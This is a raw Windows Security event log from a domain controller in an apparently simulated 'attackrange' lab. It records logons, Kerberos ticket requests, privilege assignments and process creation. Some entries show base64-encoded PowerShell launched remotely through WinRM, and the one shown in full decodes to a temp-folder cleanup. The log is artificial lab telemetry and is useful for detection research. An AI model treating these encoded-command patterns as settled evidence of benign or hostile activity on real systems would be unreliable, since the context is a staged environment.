-Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf5c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x112c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA1ADcALgA3ADkAMwA1ADUAMQAyAC0AOAAwADQAMQAwADMAMwA0ADYAOAA5ADkANQA1ACIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAGMAdQByAHMAZQA7AAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250957 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x121B9F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250956 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x121B9F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250955 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250954 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250953 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250952 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x121AED - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250951 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x121AED - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64492 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250950 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x121AED - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250949 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x121A47 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250948 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x121A47 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64491 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250947 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x121A47 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250946 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12198F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250945 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x12198F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64490 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250944 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12198F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250943 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1218FC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250942 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1218FC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64489 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250941 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1218FC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250940 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x112c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfd8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAxAEEARABjAEEATABnAEEAMwBBAEQAawBBAE0AdwBBADEAQQBEAFUAQQBNAFEAQQB5AEEAQwAwAEEATwBBAEEAdwBBAEQAUQBBAE0AUQBBAHcAQQBEAE0AQQBNAHcAQQAwAEEARABZAEEATwBBAEEANQBBAEQAawBBAE4AUQBBADEAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250939 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfd8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1180 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAxAEEARABjAEEATABnAEEAMwBBAEQAawBBAE0AdwBBADEAQQBEAFUAQQBNAFEAQQB5AEEAQwAwAEEATwBBAEEAdwBBAEQAUQBBAE0AUQBBAHcAQQBEAE0AQQBNAHcAQQAwAEEARABZAEEATwBBAEEANQBBAEQAawBBAE4AUQBBADEAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBh